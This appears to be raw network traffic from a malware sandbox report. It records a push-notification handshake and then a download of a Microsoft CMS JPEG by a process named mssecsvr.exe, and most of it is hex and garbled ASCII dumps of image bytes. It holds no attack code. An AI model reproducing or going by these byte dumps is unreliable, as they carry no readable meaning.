2022-07-20 17:31:11 UTC	7658	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 62 36 30 36 62 61 37 64 38 65 65 39 63 64 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: db606ba7d8ee9cd7<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:31:11 UTC	7658	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:31:11 UTC	7658	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 69 4d 73 59 6f 64 67 2f 55 53 4a 4e 36 6b 44 37 51 53 52 64 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tiMsYodg/USJN6kD7QSRdA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	50792	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:13 UTC	7658	OUT	GET /cms/api/am/imageFileData/RE4Fw4Y?ver=d097 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:31:13 UTC	7658	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Fw4Y?ver=d097 Last-Modified: Sun, 03 Jul 2022 08:10:35 GMT X-Source-Length: 687823 X-Datacenter: northeu X-ActivityId: 6e9f2f55-3e1d-4358-a9b1-47a582bd6c3e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 687823 Cache-Control: public, max-age=96004 Expires: Thu, 21 Jul 2022 20:11:17 GMT Date: Wed, 20 Jul 2022 17:31:13 GMT Connection: close
2022-07-20 17:31:13 UTC	7659	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 17:31:13 UTC	7674	IN	Data Raw: 54 b6 d0 4f 65 e5 6d 0f 75 75 bc 7d e6 dd ca ad 74 1e 19 4d 0b c2 bf 0f fc 4b 6f e1 cb 35 8b 4e be 8a d6 36 fb 32 fc b2 5c 4a 11 d9 72 7e ec 82 3f b4 27 1f df ae 58 c9 ba 8e 30 38 b6 9d d6 c7 49 e1 8f 02 f8 6a c7 e0 7d e6 b2 75 95 be f1 1c 76 91 dc dd d9 34 9b 15 99 8f 31 a7 3f 78 0c 67 14 be 01 d0 6d bf b1 6f 2f fc 3d a5 41 e2 79 67 8c cf 2e 9b ca cf 6b b4 67 e6 1f c4 87 d6 b3 fe 0c f8 76 3f 88 9a 1d af 87 b4 2b cd 2f 4c d4 ad 5a 49 1b 4f d5 b7 a4 ab 21 65 05 55 87 de 50 00 db c6 6b d6 bc 31 a2 47 fb 34 69 be 22 f1 1d 9a cb e3 cf 13 7e e2 c7 50 b2 d3 f2 a9 a7 c2 4e e6 2d 9c b3 8d dd c0 cf b5 7b 54 f0 ef 96 2e 4b 43 be 9f 99 e6 ed 7f a7 69 7a 7e 9f 6f 14 f1 e8 b0 49 86 59 ed 18 a2 2d c3 9c 31 04 72 aa 31 8f c2 ab d9 df de e9 3a b5 e3 ea 37 d2 dc e9 d7 33 Data Ascii: TOemuu}tMKo5N62\Jr~?'X08Ij}uv41?xgmo/=Ayg.kgv?+/LZIO!eUPk1G4i"~PN-{T.KCiz~oIY-1r1:73
2022-07-20 17:31:13 UTC	7690	IN	Data Raw: c7 0d d3 fb d5 2e ad e3 d7 3a b6 9b aa c9 15 a6 b8 da 72 c8 8b 77 1e e8 9e 44 7e 31 8f f6 08 f9 b3 c5 65 59 fc 55 b4 f1 47 8e 3f b4 62 d3 6e d6 06 b2 10 c7 1d a3 32 b2 ce 1b 24 b6 30 0a e3 b7 fb 34 fd 57 e1 ad 8e 93 a6 db 4b 79 ab cb 07 da b1 2c b1 cf f3 3c 21 fb be 0f 39 6e b5 ba 95 e1 7a 5f 89 77 be 8b 62 5d 52 3f ed 8b 1d 53 c5 1a 34 8b f6 39 a1 8a 4d 4b 45 91 7e 56 8f a0 75 c7 f1 20 f9 bd eb 99 d6 ad 6e 26 b5 83 48 9e ee 39 f4 db e6 32 da 5f 37 dd 53 8c f4 ed bb 00 10 6b ac f0 8e a5 7b a7 eb 1b 2f 22 55 b5 b6 8f 6c 1e 44 7b 5b e5 1c 92 bf c5 9f bd 86 c5 62 78 b7 55 83 c5 12 4f 6f 3f d9 22 ba 8d bc b6 b9 f2 f6 2b 47 87 65 38 5e 37 0e 2b 9a 57 be d6 65 7b b6 f7 4d 0f 85 3a e3 dc 5d 69 be 0a d4 a6 9e db 51 b5 59 bf b3 6e 7e f4 5e 41 55 e3 dd c7 55 6e d5 Data Ascii: .:rwD~1eYUG?bn2$04WKy,<!9nz_wb]R?S49MKE~Vu n&H92_7Sk{/"UlD{[bxUOo?"+Ge8^7+We{M:]iQYn~^AUUn
2022-07-20 17:31:13 UTC	7692	IN	Data Raw: 11 f8 da a3 ee fb e3 de ae 78 b2 c6 cf 52 b5 b9 b6 d4 2d 96 78 2e 54 ee 66 cb 3b 64 74 dd 9a d4 d6 be 11 e9 96 7a f5 ae a9 1c b2 41 aa 45 86 bd 58 db 72 c9 fe ce 73 db a1 ab 7a 8d a8 d5 21 fb 1a 40 cd 2c b3 84 b6 5f e2 66 ef f4 51 d4 93 da a3 13 ed 79 ad 4a 5f 23 ec 28 2a 51 a7 fb e8 7c cc eb c9 bc 37 f0 d7 c0 b0 6b 76 cb 6d a6 58 db 5a 24 be 7e a8 c6 54 d2 d5 3e 46 b8 90 73 e6 f5 fd dc 7d db f1 af 84 7f 6a 4f 8c 9e 24 f1 e4 92 e9 71 4b 24 1e 0a 69 fe d7 04 fe 67 99 2e ac fd ee 27 61 f7 d8 f6 41 f2 c4 3a 0c fc d5 1f ed 95 fb 40 1f 88 9e 24 9f c0 fe 1b b9 95 fc 1f a3 cf b6 ee e7 ee b6 ad 78 bf 29 93 1d a3 4e 88 bf f0 2e f5 e2 be 13 f1 cb e8 9a 7b 68 1a c5 b7 f6 bf 86 a7 93 e6 b6 66 db 2d bb ff 00 cf 58 1b f8 4f aa f4 6e f5 fa 76 5f 85 9d 38 aa d5 e2 af a6 Data Ascii: xR-x.Tf;dtzAEXrsz!@,_fQyJ_#(*Q\|7kvmXZ$~T>Fs}jO$qK$ig.'aA:@$x)N.{hf-XOnv_8
2022-07-20 17:31:13 UTC	7708	IN	Data Raw: 10 7c 37 96 54 5f f4 ad 3e e4 4a aa d8 6d ab 8e 32 47 3b 4f 71 4e 9d 37 c8 ea c2 56 b6 e6 7c aa 32 b2 2b 78 ea 45 ba f1 66 b5 16 97 3c 9a 86 8d 25 a0 96 49 ee e1 09 2a cd f2 1d a1 87 5c 63 ad 79 35 af 83 fc 77 e3 ef 10 6a e9 a7 c5 f6 cb 3b 65 8d ae 64 66 da 8c 8e 7b 13 fe 15 f5 06 b5 f0 db fb 42 df 48 f1 5f 86 6c da 5d 3f 58 d2 ed 6e 75 28 ae e7 1b 34 f5 92 3c 29 58 fd b0 dc 7b d7 33 a4 dc 5a 7c 3a f1 f5 8c 5f 6a db 61 73 6c 91 45 f6 b6 db b6 42 7a b1 e8 50 b7 41 5d 4a 8f 33 8c 65 b3 dc da 4f 97 e2 3c 0f e2 87 c2 9d 63 e1 2e a1 67 06 b1 67 1c 17 0d 8b 98 2e 63 60 f0 4c 9b 32 7a 7a 56 df c3 ab 08 a4 f0 fa 89 36 c5 3d ca f9 8b b7 2c db 89 e7 07 d4 2e 6b de 3e 26 7c 2f 9f e2 8f 82 6c ec 35 5b e8 ec f5 6d 36 2b 8d 42 2b b5 5d a9 24 38 24 af 3d bb 57 cb 9e 02 Data Ascii: \|7T_>Jm2G;OqN7V\|2+xEf<%I*\cy5wj;edf{BH_l]?Xnu(4<)X{3Z\|:_jaslEBzPA]J3eO<c.gg.c`L2zzV6=,.k>&\|/l5[m6+B+]$8$=W
2022-07-20 17:31:13 UTC	7724	IN	Data Raw: 69 24 66 dd b9 14 7f ac c3 0e bd 72 6b a6 32 73 69 48 94 a3 d4 d0 d5 2d b5 5f 04 f8 82 7b fd 29 97 45 d5 a7 df 23 69 f1 fd dd cd 8e 41 c6 1b 2b d3 ad 73 77 3a 4d 9e ab bb c5 9e 17 95 a5 b8 d3 23 30 6a 16 8a bf 2c 73 ec 32 34 c1 78 62 b9 ed d7 8e b5 bb 37 c6 3b 4f 17 7f 65 59 ea 6b 69 7d aa c1 17 fa 17 cc 56 e7 fb d9 f4 dd df 15 cf 5f 78 76 de cf 50 8b 5f d1 f5 39 2c e2 83 f7 f7 31 ce be 56 eb 83 c1 de 79 c8 fc 6b 75 5a 32 a8 e3 d1 99 72 df 58 ec 79 47 8d b5 cd 39 ac 5a 5b 79 57 ca d4 62 45 b6 fd c6 c6 85 cc 9f 36 d0 0f 1b db ae 79 af 70 ff 00 84 76 f6 cf fb 33 fb 42 78 ed ad 65 b2 8d 56 05 9f cd 55 dc 32 92 75 18 c8 e8 b5 d1 41 f0 8b c1 9e 26 f0 fe a7 e2 df 11 5c fd 87 c4 3f da 1e 6c 9f d9 f1 86 55 38 4d 82 38 bb 2f 3d 7f 1a a0 da b5 fe bd af 4b a5 4f 7d Data Ascii: i$frk2siH-_{)E#iA+sw:M#0j,s24xb7;OeYki}V_xvP_9,1VykuZ2rXyG9Z[yWbE6ypv3BxeVU2uA&\?lU8M8/=KO}
2022-07-20 17:31:13 UTC	7732	IN	Data Raw: 48 bb 59 ff 00 8b ee d5 9f 24 ab 7f c0 ab 86 a5 4d 6c 7a 94 69 e8 47 32 fc bc 7d e6 aa ce a6 39 31 b7 e5 ab b3 2e d6 e7 e5 fe ed 55 b9 b9 49 15 80 fb ea db 6b 4a 6e fa d8 9a 92 8c 74 6c 86 45 fd ce 42 fc d4 d8 d4 3f 25 9a a0 f3 1d b8 7f 97 ff 00 65 a1 1c c9 f7 f7 6e fe 1a ed 8e d7 4c f2 e4 d4 9d ec 5b 56 2f 1b 02 d5 34 2a ff 00 2f cd f2 ff 00 b3 54 99 e3 85 7e 79 55 7f de ab 36 fa ee 9d 6d 26 c3 2e e6 65 ff 00 80 d7 25 7c 5d 3a 2b de 92 35 84 53 77 93 49 1a 2b 66 ee b2 9f ee ae e5 6f f6 6b 32 eb 5c 8a c2 36 29 b6 56 5c 7c b5 1e a9 e2 dd f6 f7 d6 d6 eb e5 36 dd d1 c9 fe c0 fb d5 c0 5c df 4b 23 61 1b 6a 37 f1 7d e6 6a f8 fc 76 78 d4 79 28 93 8a c5 c2 85 a3 4b 5b 9d 5e b7 e3 09 25 8f c9 0d e5 7f 0e d5 ae 56 f2 fd ee ae 36 7c d1 2b 61 77 2f f1 53 56 c2 ed d9 Data Ascii: HY$MlziG2}91.UIkJntlEB?%enL[V/4*/T~yU6m&.e%\|]:+5SwI+fok2\6)V\\|6\K#aj7}jvxy(K[^%V6\|+aw/SV
2022-07-20 17:31:13 UTC	7748	IN	Data Raw: cd f2 f3 f7 47 35 b9 a7 f8 63 48 f8 b5 e3 4b 9b 9d 53 50 fb 1c 4b 72 6c 97 76 5e 55 71 19 22 42 3b 21 ed 5e 65 65 a2 69 5a 1a dc dc f8 6a eb cf b8 d3 58 ff 00 68 5a 47 f3 2a bf ce 7c c5 1f 78 0c 7e 94 e9 53 95 38 39 c7 a3 66 12 b4 7a 9f 53 5e 78 07 c6 b6 36 f0 dd 78 e7 c7 8b 67 a4 46 ce 3e cd a5 a3 9b c6 dd b8 98 c3 29 da 37 1e 73 8f 6a 66 a9 f0 ef c6 32 5b c7 26 81 e2 b8 3c 71 a4 45 22 48 9a 26 a8 ab 15 c2 a1 7d d8 13 76 e7 8c f6 af 31 f0 af c6 ab 4d 63 c3 6b a6 6a fa ab 4f 75 1d b7 9b 14 fb 7f d2 a3 63 90 c1 73 c3 a1 3d 33 f3 62 ba 8d 13 c6 d6 93 59 df 69 91 dc cf 12 5b 28 8e 48 a4 80 a4 be 59 39 20 e7 e6 db 9f e2 ae f7 5a 9d 4b 0e 2f 97 a1 d7 e9 36 1a 1e 93 e3 4b 6d 65 6f 2e db 5e b1 9f ed 2b a0 5c dc ed 92 c7 72 ec 92 dd 01 ff 00 5a 02 b1 6c e7 9e 29 Data Ascii: G5cHKSPKrlv^Uq"B;!^eeiZjXhZG*\|x~S89fzS^x6xgF>)7sjf2[&<qE"H&}v1MckjOucs=3bYi[(HY9 ZK/6Kmeo.^+\rZl)
2022-07-20 17:31:13 UTC	7764	IN	Data Raw: 63 e5 49 14 67 27 f8 ba d7 57 79 7d e3 6b 2d 35 6f fc 2f 7d a8 4f ac da ec fb 6e a5 73 73 e6 c5 a9 23 10 c1 a2 46 f9 17 a6 d3 8e 82 b0 86 26 9f 2b 54 d0 aa 28 ba 69 23 e7 cb 5f 85 ba c7 8e b5 6d 28 5c 69 5a 93 2d b2 8f b3 37 d9 1d 1a 65 fb ea ae ec 00 eb f3 57 65 79 1f d9 75 26 d0 35 4b 6b 1d 32 c2 28 9e 34 8a 36 2d 2a dc 39 2b f3 e2 bd 8f 45 d7 fe 2b 37 8b 34 eb bd 57 5e 6b 3b 5d 46 24 9e 7b 18 3c b9 d2 c6 2c e3 cc 65 0b fd 6b b6 d2 fc 33 65 f1 2a db c4 bf da 1a 2e 9f a4 6a 7a 7e a1 f6 47 d6 20 b4 09 f6 ab 34 60 e4 af 7c 92 18 1a ca 50 fa ca f8 be f5 63 38 53 b7 c2 cf 35 f1 55 ad 87 81 fe 1d ff 00 c2 bd b1 6d 4b 50 d5 f5 3b 38 f4 db af 11 40 c7 18 77 c3 f0 78 f9 17 d7 b5 43 75 f0 d7 4f 8b e1 de ab a2 69 f1 58 d8 f8 5b 4f 68 ac da ee d9 82 25 bc 8a 10 74 Data Ascii: cIg'Wy}k-5o/}Onss#F&+T(i#_m(\iZ-7eWeyu&5Kk2(46-9+E+74W^k;]F${<,ek3e.jz~G 4`\|Pc8S5UmKP;8@wxCuOiX[Oh%t
2022-07-20 17:31:13 UTC	7772	IN	Data Raw: dc 1f 5a c8 f0 af 8f bf e1 67 e9 1a be b1 a2 c7 65 2e 9d 6a d1 ca fa 94 36 9b 5b 50 99 4a b2 61 88 c3 70 31 f2 e4 57 5d 71 e2 28 ad fc 4d 05 9e 9b 1a fd a2 fa ee 2b cb e9 96 45 55 b7 44 3f bc 56 cf 60 a3 39 a5 42 84 21 79 ad 98 d4 a2 dc 6e f7 3c 8f 48 f8 e1 a3 4d ae 6b 5e 1f fb 1c f7 9e 23 d2 ae e7 b2 bc f2 14 46 d7 c6 29 b6 a3 2e 3e ea 94 1f 73 1c 55 2f 88 1f b5 97 89 fc 3f ac 41 a7 e9 56 3a 7c b3 f9 b1 c9 25 b4 91 b6 e5 53 1e 4c 64 0f f6 bb d7 94 7c 1d f1 0e 8d 7d fb 6a 78 c7 56 d1 60 b6 9e 7d 4e 5b b7 b6 b9 b9 5d 8b 1c 8b 92 70 c7 86 df b7 86 f7 af a0 3e 27 f8 56 e3 c7 5e 0b d3 fc 53 16 91 6c fa bd ac 1e 44 b3 37 ee ae 64 7d f8 29 90 31 b4 75 f7 ac 69 54 a9 56 2d d1 7b 3b 3b ff 00 99 cb 4e a7 b4 8c a6 b4 b3 1d a5 fe d2 1a 9f 8a bc 41 a4 5b 4b e0 d5 bc Data Ascii: Zge.j6[PJap1W]q(M+EUD?V`9B!yn<HMk^#F).>sU/?AV:\|%SLd\|}jxV`}N[]p>'V^SlD7d})1uiTV-{;;NA[K
2022-07-20 17:31:13 UTC	7788	IN	Data Raw: 97 88 2e 1e f7 c1 da 7d ce 9f e6 2b b5 ee a5 73 01 76 b8 0c 02 88 c1 7e a9 84 f9 47 b0 af 2b fd a4 7c 27 3f c2 1f 13 58 fc 42 8e da 6d 43 57 b8 81 e0 be bb b9 62 d1 65 fe 51 b4 0f bb f2 8e 9d 01 ad 35 fd a1 bc 59 37 83 6c e3 d1 e0 b6 b1 8a 08 fe 79 57 0c f7 08 47 0d b4 70 17 6e 48 ef 5a 6d f1 21 3c 7d e0 9d 9e 25 96 7d 5f 41 9d d2 da 75 f2 f6 36 f2 38 da c4 60 10 79 f7 ae b9 63 30 fc aa 0a 2e f6 3d ba b4 a3 6b 53 56 3c f3 e0 e7 c5 0f 01 fd 9f 43 b6 b9 bc bb d3 35 b6 67 9e 59 38 f2 37 f3 80 37 fc bd 2b d6 35 df 81 36 1e 2a d5 97 55 49 f4 9d 73 57 91 91 a3 b6 99 84 0d b0 a1 dc 70 bd 48 07 a5 78 97 8d 3e 07 f8 3f cc b4 b6 f0 f6 af aa 5b 6a 57 30 79 ef a7 de a8 68 9b 3d 0a 9c 7e 7d eb ba f8 63 f1 12 fe 3b 9d 3b c3 1e 24 8d 74 af 15 58 b8 8e c7 5a b2 fb b7 50 Data Ascii: .}+sv~G+\|'?XBmCWbeQ5Y7lyWGpnHZm!<}%}_Au68`yc0.=kSV<C5gY877+56*UIsWpHx>?[jW0yh=~}c;;$tXZP
2022-07-20 17:31:13 UTC	7804	IN	Data Raw: 89 fd d2 c9 f7 76 fb 73 83 58 3b 84 70 aa 6d 8e 59 f9 93 73 48 77 7a d5 69 a6 7b 69 33 23 7e f6 46 f3 3c b6 fb bb 85 61 39 4a 5b 9c 35 71 75 66 f5 76 37 d3 c4 81 ee 3c c9 15 a5 95 be 5f bd f7 97 b7 4a bf ff 00 09 ce a0 92 63 cf 6d 89 18 da aa c5 b6 fa 1f c2 b9 a5 b9 8e 45 59 1e db 6a f0 db 9b e5 db eb 9f 7a af 6e f1 b2 b0 89 19 55 58 f9 6d cf ef 3d 47 35 cf 24 ec d2 39 25 52 b4 57 ee ea 6e 7d 0b e0 0f da 6f 58 d0 7c a3 ac d9 c7 ae 40 aa 91 f9 ed f2 49 1a 8e e3 ff 00 af d6 be 93 f8 6f fb 43 f8 73 5a 8e f3 4f bf b9 8e 56 ba 8f ca 92 39 1b fd 62 b0 fb a4 1f 4a fc ef 8e 46 7f 3c fe f1 a2 da 3c c8 f6 fd de 7d 7d aa d2 6a 66 ce e1 e3 12 c9 13 c7 27 cb 22 b7 cd b7 d2 94 5a 82 f7 8f 5b 0f 9b 62 70 f6 84 e5 cc bb 33 eb bf 1e 7e cf 37 3a 86 ad 79 71 e0 39 ed 2e 74 Data Ascii: vsX;pmYsHwzi{i3#~F<a9J[5qufv7<_JcmEYjznUXm=G5$9%RWn}oX\|@IoCsZOV9bJF<<}}jf'"Z[bp3~7:yq9.t
2022-07-20 17:31:13 UTC	7812	IN	Data Raw: fe 1f 55 ff 00 84 87 4f 61 b7 4d 9d 77 7d a1 37 7a 77 fe 95 f4 f7 c4 0f da 52 eb e3 d7 84 fc 35 a5 dc 69 57 3a 6e 8f 67 86 be 83 52 91 3c cd 42 e7 6f c9 f3 02 00 88 1c e4 1c 67 8a f9 7e 64 d9 e5 65 56 e5 e3 53 e5 dc c6 db 5d 57 1c ed 22 ba 6b 8f 17 6a 3a e7 84 f4 8f 0e 5f de 35 e6 91 a6 4a 24 b6 b6 f2 d1 1a 36 ff 00 7b ef 3f e3 5e aa 93 94 15 2e 6d 3e 5f a1 eb c2 8f 3c 94 61 35 67 a7 99 e9 5a 83 78 63 c2 5e 0f d2 ad e5 d7 20 f1 d7 8b d6 39 24 fb 35 f6 12 c2 df e7 dc ab d3 74 81 7e e8 e8 2b 0b c2 76 3a 9d b4 97 37 b0 7d 93 45 49 64 79 5a 0d 36 30 a9 b0 92 7c 90 46 4e df 9a b8 b5 92 3b 7d d2 15 8f ed 0c a5 7e ef de c7 7c 7a d3 d7 5b bb 46 c5 bc ed 16 e6 fe 15 fb d5 84 b0 9d 2f b1 ec 53 c0 52 a7 3b bd 6c 76 96 da 7e 97 a6 c7 7d 6d e7 b5 b5 ba c4 8d b9 b2 dc Data Ascii: UOaMw}7zwR5iW:ngR<Bog~deVS]W"kj:_5J$6{?^.m>_<a5gZxc^ 9$5t~+v:7}EIdyZ60\|FN;}~\|z[F/SR;lv~}m
2022-07-20 17:31:13 UTC	7828	IN	Data Raw: 82 74 fd 1b 43 d7 35 ab 0d 47 57 fb 4d c5 ac 9b 6d 3c f9 13 64 dd 41 39 07 d3 b7 eb 54 e1 b3 d4 35 af 0b c1 61 ae 4b 22 de e9 aa 6e 6d 16 e5 7f d6 42 c3 38 07 8e 3f 3c 56 06 8b e1 1d 3b c7 cc b6 5a 5e 98 cb ab b7 ef db ec 93 8f 29 90 75 dd 91 f7 81 e9 ef 5e 24 6a 25 24 dd ee 8c e3 4d 46 f1 47 db 9f 01 fc 45 a1 d8 f8 0f 40 d0 ad 59 60 91 92 75 8a 05 62 e8 c7 7b 39 01 8f 19 2a d9 db 9e 3a 57 9d ea de 1a 93 e1 cf c5 c6 b7 d3 d9 74 cd 13 50 b9 4d 42 0b 99 57 72 33 f3 e6 c4 84 7f 17 b5 70 5f 00 ee af 3c 33 f1 32 c7 c3 7e 22 9e ee 3b 68 a5 77 b6 b3 6f 95 61 9f 38 4c fd 7d 6b e9 0f 8a 7e 09 97 56 f0 ae ad 73 67 3c eb 77 1f 95 77 68 a8 df f2 d1 06 37 63 19 e4 75 15 f4 70 9f d6 28 46 ac 55 a5 0f bc bb 4a 50 e4 6b 43 cb fe 26 78 03 4f f1 f4 30 6b 16 10 5a 59 eb 73 Data Ascii: tC5GWMm<dA9T5aK"nmB8?<V;Z^)u^$j%$MFGE@Y`ub{9*:WtPMBWr3p_<32~";hwoa8L}k~Vsg<wwh7cup(FUJPkC&xO0kZYs
2022-07-20 17:31:13 UTC	7844	IN	Data Raw: 42 bc ff 00 df 34 e8 e6 8a 68 d7 e6 da f4 12 49 bf 73 2f cb b9 56 97 ce 47 56 1b b6 d2 2a 6d 6f bd 49 fb b6 66 1f c3 40 03 38 5e 9f c5 46 ed ad b5 be 5a 4d a3 e5 ff 00 66 9d bc 50 04 5b b7 54 8a e7 bd 1f c5 42 e1 b9 6f bb 4c a4 3d 5c af 5a 95 2e 0a 70 2a bf de 6a 6b 7c ad f7 b7 51 71 97 56 f1 db 6a 16 db b7 ee d4 9e 77 7d df 76 b3 51 f6 f2 7f bd fd da 73 b1 65 e2 8b 81 a2 8f b5 78 6f 96 ac 2d c6 de 7f 89 ab 22 39 8a af 15 69 64 de dc fc bf ed 51 72 e2 5e 57 dd bb 67 fb df 76 93 cc 46 55 3f 75 bf bb 51 42 fe 63 60 b6 dd b5 22 b7 cc c4 7c cc d4 c9 7b 96 a1 b8 c3 73 fd df bb 57 a1 99 eb 25 59 17 83 f3 55 b8 5c a7 5f 99 7f bd 43 d0 b8 ca c6 c4 37 05 6a e2 be cf de 0f 99 7f 8a b2 16 61 d9 be 4f ef 55 ab 69 9d 5b e4 fb df c3 59 bb 1d 94 ea d9 d8 da b6 b8 74 65 Data Ascii: B4hIs/VGVmoIf@8^FZMfP[TBoL=\Z.pjk\|QqVjw}vQsexo-"9idQr^WgvFU?uQBc`"\|{sW%YU\_C7jaOUi[Yte
2022-07-20 17:31:13 UTC	7851	IN	Data Raw: a7 6c dd 1f 3f 76 95 99 15 b0 3e 66 a1 5f 63 60 fc cc d4 01 0b 4c 17 68 2b 4d 68 c6 e7 c7 de 5f 9a 9f 3a 6f 91 b1 f7 aa b0 67 56 6a 07 72 c6 ef 5f 9a 95 37 ab 2f 96 d5 02 bf cb bf 6d 11 dd 0f b8 fb 7f ef 9a 03 9b 52 fc 7a 86 ce bf 36 da b8 97 43 e5 cb 56 66 ed df f0 2a 5f e1 6c ff 00 15 26 6b cf 63 69 ee 16 45 f9 11 7f e0 35 14 97 3b f6 ee 5d aa bf 2e ea c9 86 e0 c6 df 23 32 af f7 6a d2 dd 46 f0 fd df 9e 82 95 4b 96 76 99 15 8c 7f 76 a2 8d ca 37 f7 9b f8 68 8e e0 aa ae 1b 6d 35 97 74 8a 59 97 fe 05 4c 4d dc 91 1c 16 62 1f 65 5a 4b 93 6e cb 86 dc cd f7 aa 83 20 1f c4 b4 fb 7b 80 9c 24 5f 2f f1 50 25 2b 17 7e d8 55 95 02 fd df ee d4 eb 1e f5 52 3e ee e3 54 51 d1 b6 91 f7 aa d5 bd c2 6d 52 ac ad 49 95 ce 4b 26 17 87 f9 96 aa 6c 8d 76 ec 97 ef 55 e4 fb b8 fb Data Ascii: l?v>f_c`Lh+Mh_:ogVjr_7/mRz6CVf*_l&kciE5;].#2jFKvv7hm5tYLMbeZKn {$_/P%+~UR>TQmRIK&lvU
2022-07-20 17:31:13 UTC	7867	IN	Data Raw: 40 1a 1b be 5c ee f9 bf d9 a5 e1 a3 c3 fc cd bb fe 05 55 23 b9 46 8f fb b5 33 48 8a b9 ff 00 be b6 d4 d9 80 e7 8d 99 b1 b5 76 ff 00 7a 84 99 d1 70 7e eb 7c bf ed 52 46 c5 23 6c fc df 35 49 c4 dc 1f 97 6f cd 45 99 7c cc 9e da eb 67 fa cf 9a 26 fe 16 fe 16 ad a9 a4 3a 94 71 7d 91 96 39 63 8f 6f 94 bf 2f 99 ee 7d 5a b9 66 47 87 9f f5 ab fd ea 96 1b a2 ac bf de ff 00 67 e5 6a f2 33 0c a7 0d 99 43 97 13 14 bc d6 e7 55 3a 96 56 67 45 6b e2 09 12 49 62 bb 8b 6c b1 ff 00 15 75 36 de 26 89 6c 57 64 ab 3a c7 1f f3 ae 39 2f e0 d4 a1 f2 ee 55 77 ff 00 7b ee b5 41 f6 19 6c db cf 89 b7 44 bf dd fe 15 ef 91 5f 93 66 7c 33 89 c0 fe f2 8f bd 4d 6b a6 eb d4 de 35 5d 35 78 33 b0 b8 98 cd 6b e7 a4 fb 95 97 76 d6 fe 1f a5 77 bf 08 f5 29 e1 d3 ee 4c 8e db a3 55 65 66 f6 af 1e Data Ascii: @\U#F3Hvzp~\|RF#l5IoE\|g&:q}9co/}ZfGgj3CU:VgEkIblu6&lWd:9/Uw{AlD_f\|3Mk5]5x3kvw)LUef
2022-07-20 17:31:13 UTC	7883	IN	Data Raw: 4d f2 b2 b5 4d 67 72 52 e1 80 5f 95 98 2f f7 6b e2 31 59 0e 33 0d cc e5 4d b6 69 19 29 1b 5a f5 bd ad b4 3f b8 66 96 7f bd b6 b1 1d 8e dc 3b 7c cd 53 6a 5b 24 ba 97 cb f9 59 b1 fc 55 7b 4d b7 8d 6d d7 ee b3 b3 6d f9 ab c6 ad 47 d9 45 5f 73 9b 11 45 4b 62 2d 3e de 2f 26 52 ff 00 7b 77 cb 4c 5b 11 1c 2d b2 55 67 fe ef f1 54 17 9e 6f da 27 89 3e 55 59 3e 5a b6 c8 6c e1 59 27 5d be 62 ed 56 dd f3 6e fa 56 32 83 84 53 6b 73 19 51 71 a6 95 b6 2c 78 67 50 b8 d3 2f bc f0 cd b3 69 8d 95 be 6f 97 f1 ad 4d 73 55 8e fa e2 21 12 ec 83 fd 9f bb bb e9 58 b6 de 7d bc 7e 68 da cb ff 00 a1 54 36 f7 c9 73 75 87 5d bb b2 cb fe f5 63 79 b4 e4 96 81 4e b4 e3 49 c5 2d 0d 35 9a 38 ed 7c b3 f2 b6 e3 ba b3 24 99 d2 6c 06 dc cd ff 00 8e d1 7f 7d f3 79 7f 2f fb 7b a9 6d d6 29 3e fb Data Ascii: 